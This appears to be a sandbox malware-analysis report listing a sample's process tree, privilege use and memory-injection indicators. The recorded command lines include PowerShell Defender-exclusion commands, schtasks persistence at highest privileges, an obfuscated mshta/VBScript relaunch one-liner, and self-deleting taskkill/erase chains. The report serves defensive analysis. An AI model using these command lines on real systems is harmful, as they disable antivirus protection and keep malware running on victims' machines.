2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeDebugPrivilege 4268 cscript.exe Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeDebugPrivilege 3912 WerFault.exe Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeCreateTokenPrivilege 5100 askinstall25.exe Token: SeAssignPrimaryTokenPrivilege 5100 askinstall25.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 816 wrote to memory of 728 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 77 PID 816 wrote to memory of 728 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 77 PID 816 wrote to memory of 2548 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 78 PID 816 wrote to memory of 2548 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 78 PID 816 wrote to memory of 2548 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 78 PID 816 wrote to memory of 2328 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 79 PID 816 wrote to memory of 2328 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 79 PID 816 wrote to memory of 2328 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 79 PID 816 wrote to memory of 2756 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 84 PID 816 wrote to memory of 2756 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 84 PID 816 wrote to memory of 2756 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 84 PID 816 wrote to memory of 4092 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 83 PID 816 wrote to memory of 4092 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 83 PID 816 wrote to memory of 4092 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 83 PID 816 wrote to memory of 2968 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 82 PID 816 wrote to memory of 2968 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 82 PID 816 wrote to memory of 2968 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 82 PID 816 wrote to memory of 3036 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 81 PID 816 wrote to memory of 3036 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 81 PID 816 wrote to memory of 3036 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 81 PID 816 wrote to memory of 3328 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 80 PID 816 wrote to memory of 3328 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 80 PID 816 wrote to memory of 3328 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 80 PID 816 wrote to memory of 4024 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 85 PID 816 wrote to memory of 4024 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 85 PID 816 wrote to memory of 4024 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 85 PID 816 wrote to memory of 3188 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 88 PID 816 wrote to memory of 3188 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 88 PID 816 wrote to memory of 3188 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 88 PID 816 wrote to memory of 3116 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 87 PID 816 wrote to memory of 3116 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 87 PID 816 wrote to memory of 3116 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 87 PID 816 wrote to memory of 3224 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 86 PID 816 wrote to memory of 3224 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 86 PID 816 wrote to memory of 3224 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 86 PID 816 wrote to memory of 2496 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 92 PID 816 wrote to memory of 2496 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 92 PID 816 wrote to memory of 2496 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 92 PID 816 wrote to memory of 3684 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 91 PID 816 wrote to memory of 3684 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 91 PID 816 wrote to memory of 3684 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 91 PID 816 wrote to memory of 2212 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 90 PID 816 wrote to memory of 2212 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 90 PID 816 wrote to memory of 2212 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 90 PID 816 wrote to memory of 2684 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 89 PID 816 wrote to memory of 2684 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 89 PID 816 wrote to memory of 2064 816 Process not Found 94 PID 816 wrote to memory of 2064 816 Process not Found 94 PID 816 wrote to memory of 2064 816 Process not Found 94 PID 816 wrote to memory of 2068 816 Process not Found 93 PID 816 wrote to memory of 2068 816 Process not Found 93 PID 816 wrote to memory of 1296 816 Process not Found 100 PID 816 wrote to memory of 1296 816 Process not Found 100 PID 816 wrote to memory of 1296 816 Process not Found 100 PID 816 wrote to memory of 2232 816 Process not Found 99 PID 816 wrote to memory of 2232 816 Process not Found 99 PID 816 wrote to memory of 2232 816 Process not Found 99 PID 816 wrote to memory of 2088 816 Process not Found 98 PID 816 wrote to memory of 2088 816 Process not Found 98 PID 816 wrote to memory of 2088 816 Process not Found 98 PID 816 wrote to memory of 1012 816 Process not Found 97 PID 816 wrote to memory of 1012 816 Process not Found 97 PID 816 wrote to memory of 1012 816 Process not Found 97 PID 816 wrote to memory of 1988 816 Process not Found 96
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2540 -
C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe"C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe"2⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:816 -
C:\Users\Admin\Pictures\Adobe Films\MGF06eWV2QxiQ3cG6az4tr31.exe"C:\Users\Admin\Pictures\Adobe Films\MGF06eWV2QxiQ3cG6az4tr31.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:728
-
-
C:\Users\Admin\Pictures\Adobe Films\4N57m2SeL5IiTI5AG0oY8LBW.exe"C:\Users\Admin\Pictures\Adobe Films\4N57m2SeL5IiTI5AG0oY8LBW.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2548
-
-
C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe"C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe"3⤵
- Executes dropped EXE
PID:2328 -
C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵PID:5136
-
C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe" /SpecialRun 4101d8 51365⤵PID:6048
-
-
-
C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵
- Executes dropped EXE
PID:5504 -
C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe" /SpecialRun 4101d8 55045⤵PID:4992
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force4⤵PID:5088
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force4⤵PID:5920
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force4⤵PID:3752
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force4⤵PID:4372
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"4⤵PID:6672
-
C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run5⤵PID:7716
-
C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe" /SpecialRun 4101d8 77166⤵PID:8160
-
-
-
C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run5⤵PID:7816
-
C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe" /SpecialRun 4101d8 78166⤵PID:7524
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵PID:3964
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵PID:2532
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force5⤵PID:7068
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵PID:8056
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force5⤵
- Executes dropped EXE
PID:4908
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵PID:7844
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"5⤵PID:2544
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"5⤵PID:8428
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force4⤵PID:6436
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force4⤵PID:6240
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force4⤵PID:6908
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force4⤵PID:7116
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force4⤵PID:5272
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"4⤵PID:7616
-
-
-
C:\Users\Admin\Pictures\Adobe Films\i_L0A7LldAXrsKpzFi5txJoI.exe"C:\Users\Admin\Pictures\Adobe Films\i_L0A7LldAXrsKpzFi5txJoI.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3328
-
-
C:\Users\Admin\Pictures\Adobe Films\cdw3osWat18CVPUn7rFB_Pj9.exe"C:\Users\Admin\Pictures\Adobe Films\cdw3osWat18CVPUn7rFB_Pj9.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3036 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe4⤵PID:7388
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe5⤵
- Kills process with taskkill
PID:8836
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\PWokcJndamMPSc5Glm9GSVbb.exe"C:\Users\Admin\Pictures\Adobe Films\PWokcJndamMPSc5Glm9GSVbb.exe"3⤵
- Executes dropped EXE
PID:2968
-
-
C:\Users\Admin\Pictures\Adobe Films\YyH9SXCqivTrzrPqI3uYJQMd.exe"C:\Users\Admin\Pictures\Adobe Films\YyH9SXCqivTrzrPqI3uYJQMd.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4092 -
C:\Users\Admin\Documents\owY_g7gf7wrPiXIfc88VlEqk.exe"C:\Users\Admin\Documents\owY_g7gf7wrPiXIfc88VlEqk.exe"4⤵PID:7812
-
C:\Users\Admin\Pictures\Adobe Films\KL1Sx3zXL9dnl28s_DQkjbNj.exe"C:\Users\Admin\Pictures\Adobe Films\KL1Sx3zXL9dnl28s_DQkjbNj.exe"5⤵PID:5164
-
-
C:\Users\Admin\Pictures\Adobe Films\CeBYnvzipyGi9VupnEIWHAbX.exe"C:\Users\Admin\Pictures\Adobe Films\CeBYnvzipyGi9VupnEIWHAbX.exe"5⤵PID:9008
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "CeBYnvzipyGi9VupnEIWHAbX.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\CeBYnvzipyGi9VupnEIWHAbX.exe" & exit6⤵PID:9104
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "CeBYnvzipyGi9VupnEIWHAbX.exe" /f7⤵
- Kills process with taskkill
PID:5140
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ejydHrY4wIQ47KBH15LRNvQg.exe"C:\Users\Admin\Pictures\Adobe Films\ejydHrY4wIQ47KBH15LRNvQg.exe"5⤵PID:4620
-
-
C:\Users\Admin\Pictures\Adobe Films\EYknBp1ulqVoJD36nUNXUOxq.exe"C:\Users\Admin\Pictures\Adobe Films\EYknBp1ulqVoJD36nUNXUOxq.exe"5⤵PID:2360
-
-
C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe"C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe"5⤵PID:9124
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4624 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe" ) do taskkill -f -iM "%~NxM"7⤵PID:4792
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "XEtFW6y9YZZi1S7OT_rg9zA7.exe"8⤵
- Kills process with taskkill
PID:7972
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\TTp54AqS3Xeuh140DQWkoEDm.exe"C:\Users\Admin\Pictures\Adobe Films\TTp54AqS3Xeuh140DQWkoEDm.exe"5⤵PID:7872
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=16⤵PID:3456
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"7⤵PID:8876
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1ec,0x1f0,0x1f4,0x1b4,0x1f8,0x7ffbfd07dec0,0x7ffbfd07ded0,0x7ffbfd07dee08⤵PID:9448
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff6bf1f9e70,0x7ff6bf1f9e80,0x7ff6bf1f9e909⤵PID:9772
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,4159062920383515488,13865095438280234276,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8876_1082268702" --mojo-platform-channel-handle=1672 /prefetch:88⤵PID:6980
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\7jBCszsahJM8XJ50JwHaOcRd.exe"C:\Users\Admin\Pictures\Adobe Films\7jBCszsahJM8XJ50JwHaOcRd.exe"5⤵PID:8472
-
C:\Users\Admin\AppData\Local\Temp\is-J72BE.tmp\7jBCszsahJM8XJ50JwHaOcRd.tmp"C:\Users\Admin\AppData\Local\Temp\is-J72BE.tmp\7jBCszsahJM8XJ50JwHaOcRd.tmp" /SL5="$105B6,506127,422400,C:\Users\Admin\Pictures\Adobe Films\7jBCszsahJM8XJ50JwHaOcRd.exe"6⤵
- Executes dropped EXE
PID:5136 -
C:\Users\Admin\AppData\Local\Temp\is-NCTT6.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-NCTT6.tmp\DYbALA.exe" /S /UID=27097⤵PID:6592
-
C:\Users\Admin\AppData\Local\Temp\02-6d479-efd-d60ae-44e8f7f89a29d\Kunupyzhylo.exe"C:\Users\Admin\AppData\Local\Temp\02-6d479-efd-d60ae-44e8f7f89a29d\Kunupyzhylo.exe"8⤵PID:5460
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 22529⤵PID:9328
-
-
-
C:\Users\Admin\AppData\Local\Temp\8c-af29a-a38-d6a8f-9e7af29f56b3e\Jaguxaebipae.exe"C:\Users\Admin\AppData\Local\Temp\8c-af29a-a38-d6a8f-9e7af29f56b3e\Jaguxaebipae.exe"8⤵PID:4476
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yuv25l05.0gc\GcleanerEU.exe /eufive & exit9⤵PID:7920
-
C:\Users\Admin\AppData\Local\Temp\yuv25l05.0gc\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\yuv25l05.0gc\GcleanerEU.exe /eufive10⤵PID:1764
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q2u0qf2z.blo\installer.exe /qn CAMPAIGN="654" & exit9⤵PID:7312
-
C:\Users\Admin\AppData\Local\Temp\q2u0qf2z.blo\installer.exeC:\Users\Admin\AppData\Local\Temp\q2u0qf2z.blo\installer.exe /qn CAMPAIGN="654"10⤵PID:8740
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe & exit9⤵PID:5340
-
C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exeC:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe10⤵PID:8876
-
C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe"C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe" -u11⤵PID:9136
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2tjcwk15.fql\gcleaner.exe /mixfive & exit9⤵PID:2908
-
C:\Users\Admin\AppData\Local\Temp\2tjcwk15.fql\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\2tjcwk15.fql\gcleaner.exe /mixfive10⤵PID:7828
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\n3y23sgf.gyd\autosubplayer.exe /S & exit9⤵PID:668
-
-
-
C:\Program Files\Common Files\PELOFRMUMU\foldershare.exe"C:\Program Files\Common Files\PELOFRMUMU\foldershare.exe" /VERYSILENT8⤵PID:5156
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\pg3sBy27n_S5EnZhSjwDf610.exe"C:\Users\Admin\Pictures\Adobe Films\pg3sBy27n_S5EnZhSjwDf610.exe"5⤵PID:6680
-
-
C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe"C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe"5⤵PID:420
-
C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe"C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe" -u6⤵PID:5656
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST4⤵
- Creates scheduled task(s)
PID:7932
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST4⤵
- Creates scheduled task(s)
PID:4160
-
-
-
C:\Users\Admin\Pictures\Adobe Films\CmP8WQcQIe09qWeNkvEOhtAh.exe"C:\Users\Admin\Pictures\Adobe Films\CmP8WQcQIe09qWeNkvEOhtAh.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2756
-
-
C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe"C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4024 -
C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe"C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe"4⤵
- Executes dropped EXE
PID:4300
-
-
